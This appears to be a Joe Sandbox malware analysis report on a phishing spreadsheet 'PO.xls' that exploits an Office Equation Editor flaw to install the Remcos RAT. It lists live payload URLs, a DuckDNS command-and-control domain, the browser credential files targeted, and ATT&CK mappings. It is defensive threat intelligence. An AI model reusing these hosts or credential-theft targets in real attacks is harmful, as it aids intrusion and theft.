Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1027741834.000000000239E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: \AppData\Local\Google\Chrome\User Data\Default\Login Data

16_2_0040BA4D

Contains functionality to steal Firefox passwords or cookies

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \AppData\Roaming\Mozilla\Firefox\Profiles\		16_2_0040BB6B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: \key3.db		16_2_0040BB6B

Remote Access Functionality

Detected Remcos RAT

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Mutex created: \Sessions\1\BaseNamedObjects\Rmc-M3P7YT

Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.powershell.exe.6a480d8.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000010.00000002.1027741834.000000000239E000.00000004.00000010.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027592173.0000000000891000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 4036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3044, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: cmd.exe

16_2_0040569A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	121 Scripting	Valid Accounts	1 Native API	121 Scripting	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	15 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	43 Exploitation for Client Execution	1 DLL Side-Loading	1 Bypass User Account Control	21 Obfuscated Files or Information	211 Input Capture	1 Account Discovery	Remote Desktop Protocol	211 Input Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	12 Command and Scripting Interpreter	1 Windows Service	1 Access Token Manipulation	1 DLL Side-Loading	2 Credentials In Files	1 System Service Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	Login Hook	1 Windows Service	1 Bypass User Account Control	NTDS	3 File and Directory Discovery	Distributed Component Object Model	Input Capture	1 Remote Access Software	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	3 PowerShell	Network Logon Script	222 Process Injection	1 Masquerading	LSA Secrets	34 System Information Discovery	SSH	Keylogging	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Security Software Discovery	VNC	GUI Input Capture	214 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	222 Process Injection	Proc Filesystem	3 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 Remote System Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO.xls	18%	ReversingLabs	Document-Excel.Exploit.CVE-2017-0199
PO.xls	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{91BCF8F6-C2FD-4749-855D-C3013FC0B30C}.tmp	100%	Avira	EXP/CVE-2017-11882.Gen

Source	Detection	Scanner	Label
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
http://geoplugin.net/json.gp	0%	URL Reputation	safe
http://geoplugin.net/json.gp/C	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://crl.entrust.net/2048ca.crl0	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
strmr.co	172.67.179.215	true	true	unknown
raw.githubusercontent.com	185.199.108.133	true	false	unknown
ramcxx.duckdns.org	45.134.140.68	true	true	unknown

Contacted URLs

Name	Malicious	Reputation
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt	false	unknown
http://104.168.32.148/550/RWEER.txt	true	unknown
https://strmr.co/a9ifFT	false	unknown
http://104.168.32.148/550/ed/enwegetbacktoenitrefeaturestounderstandhowmuchgreatsheisverycutergirlwithentierthingstobegreatandfineforeverythigngetbackwithnewsystem_______veryniceperson.doc	true	unknown
http://104.168.32.148/550/nicepicturewithyourebodygreen.tIF	true	unknown
ramcxx.duckdns.org	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/server1.crl0	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net03	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/License	powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://104.168.32.148/550/nicepicturewithyourebodygreen.tIFj	EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005FF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://www.diginotar.nl/cps/pkioverheid0	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://104.168.32.148	powershell.exe, 0000000E.00000002.473571085.00000000025FC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://go.micros	powershell.exe, 0000000E.00000002.473571085.00000000026E9000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://104.168.32.148/550/nicepicturewithyourebodygreen.tIFVtnp	EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://geoplugin.net/json.gp	RegAsm.exe	false	URL Reputation: safe	unknown
http://104.168.32.148/550/nicepicturewithyourebodygreen.tIFFtnp	EQNEDT32.EXE, 0000000A.00000002.450753923.00000000005F4000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.pkioverheid.nl/DomOvLatestCRL.crl0	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://raw.githubusercontent.com	powershell.exe, 0000000E.00000002.473571085.000000000249B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://geoplugin.net/json.gp/C	powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.476480463.00000000065E1000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000010.00000002.1027400715.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000E.00000002.474061036.0000000003389000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://strmr.co/	strmr.co.url.5.dr	false		unknown
https://strmr.co/a9ifFTN	PO.xls	false		unknown
https://strmr.co/a9ifFTyX	62830000.0.dr, ~DF59A7707E25171593.TMP.0.dr	false		unknown
https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtfq4;	powershell.exe, 0000000E.00000002.473571085.000000000249B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://ocsp.entrust.net0D	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000C.00000002.478381867.000000000268B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000E.00000002.473571085.0000000002361000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.comodo.com/CPS0	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.entrust.net/2048ca.crl0	powershell.exe, 0000000E.00000002.475873710.0000000004FA5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.179.215	strmr.co	United States	13335	CLOUDFLARENETUS	true
104.168.32.148	unknown	United States	36352	AS-COLOCROSSINGUS	true
45.134.140.68	ramcxx.duckdns.org	Georgia	197328	INETLTDTR	true
185.199.108.133	raw.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.21.64.88	unknown	United States	13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1520512
Start date and time:	2024-09-27 12:50:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 29s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	1
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PO.xls
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winXLS@13/32@191/5
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 97% Number of executed functions: 66 Number of non-executed functions: 208
Cookbook Comments:	Found application associated with file extension: .xls Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Scroll down Close Viewer Override analysis time to 51232.2393064938 for current running targets taking high CPU consumption Override analysis time to 102464.478612988 for current running targets taking high CPU consumption Override analysis time to 204928.957225975 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe, svchost.exe
Execution Graph export aborted for target EQNEDT32.EXE, PID 3820 because there are no executed function
Execution Graph export aborted for target powershell.exe, PID 3940 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PO.xls

Simulations

Behavior and APIs

Time	Type	Description
06:51:43	API Interceptor	33x Sleep call for process: EQNEDT32.EXE modified
06:51:45	API Interceptor	23x Sleep call for process: wscript.exe modified
06:51:46	API Interceptor	117x Sleep call for process: powershell.exe modified
06:51:56	API Interceptor	10978861x Sleep call for process: RegAsm.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.179.215	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse
172.67.179.215	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse
104.168.32.148	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	104.168.32.148/345/CHPPZA.txt
104.168.32.148	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	104.168.32.148/345/CHPPZA.txt
185.199.108.133	https://arjunshaw.github.io/4.7-Project-1-Netflix-/	Get hash	malicious	HTMLPhisher	Browse
	https://tokenp0kczt.net/	Get hash	malicious	HTMLPhisher	Browse
	http://bafybeid2klgyiphng6ifws5s35aor57wfi3so6koe2w4ggoacn6gqghegm.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse
	https://4--11--1-uniswap--uncensored-eth.ipns.dweb.link/	Get hash	malicious	Unknown	Browse
	http://web-git-tina-allow-bad-limit-uniswap.vercel.app/	Get hash	malicious	Unknown	Browse
	http://noinstgaram.vercel.app/	Get hash	malicious	HTMLPhisher	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.27131.14737.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.27131.14737.exe	Get hash	malicious	Unknown	Browse
	http://cancelarcompravirtusucursajgbf-9mfi.vercel.app/	Get hash	malicious	Unknown	Browse
	https://fastsoluudapppmigratee.com/	Get hash	malicious	Unknown	Browse
104.21.64.88	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse
	QT2Q1292.xla.xlsx	Get hash	malicious	FormBook	Browse
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse
	https://tamilblasters.casa/	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
raw.githubusercontent.com	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31506.1346.rtf	Get hash	malicious	Remcos	Browse	185.199.110.133
	http://tokenpuzz1le.com/	Get hash	malicious	HTMLPhisher	Browse	185.199.111.133
	http://web-x8vjmgg79-uniswap.vercel.app/	Get hash	malicious	Unknown	Browse	185.199.109.133
	https://tokenp0kczt.net/	Get hash	malicious	HTMLPhisher	Browse	185.199.110.133
	http://tokenpblket.com/	Get hash	malicious	HTMLPhisher	Browse	185.199.110.133
	http://bafybeid2klgyiphng6ifws5s35aor57wfi3so6koe2w4ggoacn6gqghegm.ipfs.dweb.link/	Get hash	malicious	Unknown	Browse	185.199.108.133
	https://4--11--1-uniswap--uncensored-eth.ipns.dweb.link/	Get hash	malicious	Unknown	Browse	185.199.111.133
	http://web-git-tina-allow-bad-limit-uniswap.vercel.app/	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win32.MalwareX-gen.27131.14737.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
	SecuriteInfo.com.Win32.MalwareX-gen.27131.14737.exe	Get hash	malicious	Unknown	Browse	185.199.108.133
strmr.co	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	172.67.179.215
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	104.21.64.88
	QT2Q1292.xla.xlsx	Get hash	malicious	FormBook	Browse	104.21.64.88
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	104.21.64.88
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	172.67.179.215
ramcxx.duckdns.org	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	45.134.140.70
ramcxx.duckdns.org	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.134.140.70

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
INETLTDTR	LJ1IZDkHyE.hta	Get hash	malicious	Cobalt Strike, Remcos, PureLog Stealer	Browse	45.134.140.70
	BL.xls	Get hash	malicious	Remcos, PureLog Stealer	Browse	45.134.140.70
	file.exe	Get hash	malicious	Unknown	Browse	5.104.75.170
	file.exe	Get hash	malicious	Unknown	Browse	5.104.75.170
	file_5822aee2333945a68f99cf2cfdd0e024_2024-09-16_14_28_33_034000.zip	Get hash	malicious	Unknown	Browse	84.252.92.10
	Google%20Chrome1.exe	Get hash	malicious	Unknown	Browse	89.22.236.120
	Chrome.exe	Get hash	malicious	Unknown	Browse	89.22.236.120
	LEK1JCI81P.exe	Get hash	malicious	RedLine, Snake Keylogger, StormKitty, SugarDump, VIP Keylogger, XWorm	Browse	91.92.120.13
	sVfXReO3QI.exe	Get hash	malicious	Unknown	Browse	45.128.38.162
	ExeFile (305).exe	Get hash	malicious	Emotet	Browse	178.211.45.66
AS-COLOCROSSINGUS	GEsD6lobvy.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	172.245.123.6
	Shipping Document.docx.doc	Get hash	malicious	Unknown	Browse	104.168.32.148
	Payment Advice.xls	Get hash	malicious	Snake Keylogger	Browse	172.245.123.6
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	107.172.130.147
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	192.3.220.20
	REMITTANCE ADVICE.xls	Get hash	malicious	Snake Keylogger	Browse	172.245.123.6
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	192.3.220.20
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	192.3.220.20
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31506.1346.rtf	Get hash	malicious	Remcos	Browse	107.172.130.147
	https://perts.logterd.top/	Get hash	malicious	Unknown	Browse	172.245.112.202
CLOUDFLARENETUS	.05.2024.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	ATT71725.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://metapolicyreview.com/	Get hash	malicious	Unknown	Browse	104.16.79.73
	Payment Notification.msg	Get hash	malicious	Unknown	Browse	104.21.68.220
	Aisha C. Yetman shared you a document..msg	Get hash	malicious	Unknown	Browse	104.17.25.14
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	https://adclick.g.doubleclick.net/pcs/click?xai=AKAOjsulL2bcqZSGb5TVbFOhW-BzJJtb8_QJJBgbE1zqe78Ie8BMxsNyhIFwdKd0pdA90RMhgTdSzkU9EZ9vbhoKh9hWuvNOpIawTAXoH5R0ak3U5rG_o-sZZz3gEiDRvTxtIDu5LY0qOySZABWrjrj9OfeDXHmC1qe7sBrjM2U90kovZKuuD34ZvXQ_OD2Hq--rkZwnu_VhQVAySwVh2ojndP52NUX9X40zwPfUt6TCc4F2rNspoMzray6vSBsFLXUX7nVDHqqILMYBWJr9fSc6AC0-g4meRNvX0rdEgcGztZ5SXk2Zbb1UlFLMFg&sai=AMfl-YQ851Qqa8i013PHKiB6TgTZ-QzfEpO1vcyiniBLSOaNAv3siIC9L9LV3aRq_nbn81w6wFB7OvNqhOdGvo-t7Q&sig=Cg0ArKJSzNuc_g1R_f21EAE&fbs_aeid=&urlfix=1&adurl=https://t.events.caixabank.com/r/?id=h665ab089,6dc7f7ae,f89fd96&p1=d70r46aqireop.cloudfront.net%23QZ~MamRpYXpAZXZlcnNoZWRzLXN1dGhlcmxhbmQuZXM=	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	bfINGx7hvL.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	mSLEwIfTGL.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	172.67.74.152
	kewyIO69TI.exe	Get hash	malicious	LummaC	Browse	104.21.58.182
FASTLYUS	ATT71725.html	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://github.com/oneclick/rubyinstaller2/releases/download/RubyInstaller-3.3.5-1/rubyinstaller-devkit-3.3.5-1-x64.exe	Get hash	malicious	Unknown	Browse	185.199.110.133
	Aisha C. Yetman shared you a document..msg	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://adclick.g.doubleclick.net/pcs/click?xai=AKAOjsulL2bcqZSGb5TVbFOhW-BzJJtb8_QJJBgbE1zqe78Ie8BMxsNyhIFwdKd0pdA90RMhgTdSzkU9EZ9vbhoKh9hWuvNOpIawTAXoH5R0ak3U5rG_o-sZZz3gEiDRvTxtIDu5LY0qOySZABWrjrj9OfeDXHmC1qe7sBrjM2U90kovZKuuD34ZvXQ_OD2Hq--rkZwnu_VhQVAySwVh2ojndP52NUX9X40zwPfUt6TCc4F2rNspoMzray6vSBsFLXUX7nVDHqqILMYBWJr9fSc6AC0-g4meRNvX0rdEgcGztZ5SXk2Zbb1UlFLMFg&sai=AMfl-YQ851Qqa8i013PHKiB6TgTZ-QzfEpO1vcyiniBLSOaNAv3siIC9L9LV3aRq_nbn81w6wFB7OvNqhOdGvo-t7Q&sig=Cg0ArKJSzNuc_g1R_f21EAE&fbs_aeid=&urlfix=1&adurl=https://t.events.caixabank.com/r/?id=h665ab089,6dc7f7ae,f89fd96&p1=d70r46aqireop.cloudfront.net%23QZ~MamRpYXpAZXZlcnNoZWRzLXN1dGhlcmxhbmQuZXM=	Get hash	malicious	HTMLPhisher	Browse	151.101.130.137
	https://www.vossloh-events.com/EMOS/Login.aspx?ReturnUrl=%2femos	Get hash	malicious	Unknown	Browse	151.101.2.132
	PO#518464.js	Get hash	malicious	STRRAT	Browse	199.232.196.209
	PO#518464.js	Get hash	malicious	STRRAT	Browse	199.232.196.209
	Proof Of Payment.js	Get hash	malicious	STRRAT	Browse	199.232.196.209
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31506.1346.rtf	Get hash	malicious	Remcos	Browse	185.199.110.133
	https://jbrizuelablplegal.taplink.ws/	Get hash	malicious	HTMLPhisher	Browse	151.101.193.229

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	Shipping Document.docx.doc	Get hash	malicious	Unknown	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	Payment Advice.xls	Get hash	malicious	Snake Keylogger	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	QT2Q1292.xla.xlsx	Get hash	malicious	FormBook	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	REMITTANCE ADVICE.xls	Get hash	malicious	Snake Keylogger	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31506.1346.rtf	Get hash	malicious	Remcos	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.31177.14968.rtf	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	Payment Details.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	Thyssenkrupp PO040232.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.179.215 185.199.108.133 104.21.64.88
	Payment Slip.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.179.215 185.199.108.133 104.21.64.88
7dcce5b76c8b17472d024758970a406b	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	172.67.179.215 104.21.64.88
	Shipping Document.docx.doc	Get hash	malicious	Unknown	Browse	172.67.179.215 104.21.64.88
	FACTORY NEW PURCHASE ORDER.doc	Get hash	malicious	Unknown	Browse	172.67.179.215 104.21.64.88
	Payment Advice.xls	Get hash	malicious	Snake Keylogger	Browse	172.67.179.215 104.21.64.88
	AGMETIGA zapytanie ofertowe.xls	Get hash	malicious	PureLog Stealer	Browse	172.67.179.215 104.21.64.88
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	172.67.179.215 104.21.64.88
	QT2Q1292.xla.xlsx	Get hash	malicious	FormBook	Browse	172.67.179.215 104.21.64.88
	REMITTANCE ADVICE.xls	Get hash	malicious	Snake Keylogger	Browse	172.67.179.215 104.21.64.88
	Purchase Inquiry-0012.xls	Get hash	malicious	Unknown	Browse	172.67.179.215 104.21.64.88
	E-BILL#226.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse	172.67.179.215 104.21.64.88

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	data
Category:	dropped
Size (bytes):	324
Entropy (8bit):	3.5045906285934727
Encrypted:	false
SSDEEP:	6:6l6aC55YcIeeDAlTyFwfxNa/WA7DxbN2fBMMm0v:6lxChecpn50/WItN25MMl
MD5:	87F3034465ABE15170FD7C89B3B6E25E
SHA1:	BA803B996696596A734D44CC2B8F16DF9071835C
SHA-256:	D554636DEC058116BE6EE8AC0428545D540723B95E7B2BCC83479EB2C1C5B296
SHA-512:	B1A771D51BA5192912F4F23816B096D4B6B7C5DE81E36AA6996174548A14DDAA30B9177678965679AD11E87CD9D311C1CEC6146A71AB274E5BE6D5D322C23C44
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: C:\ProgramData\remcos\logs.dat, Author: Joe Security
Reputation:	low
Preview:	....[.2.0.2.4./.0.9./.2.7. .0.6.:.5.1.:.5.6. .O.f.f.l.i.n.e. .K.e.y.l.o.g.g.e.r. .S.t.a.r.t.e.d.].........[.M.i.c.r.o.s.o.f.t. .E.x.c.e.l.].........[.N.e.w. .T.a.b. .-. .G.o.o.g.l.e. .C.h.r.o.m.e.].........[.P.r.o.g.r.a.m. .M.a.n.a.g.e.r.].........{. .U.s.e.r. .h.a.s. .b.e.e.n. .i.d.l.e. .f.o.r. .0. .m.i.n.u.t.e.s. .}.....

C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025361166851056896
Encrypted:	false
SSDEEP:	6:I3DPcU3djHvxggLRSjkm3rRXv//4tfnRujlw//+GtluJ/eRuj:I3DPT4X3tvYg3J/
MD5:	B67A0CD7BAF53E71776D0DE71B2FD003
SHA1:	26AA47FFD54707E6F8D7E08CFA0F5C1FFBBFB86E
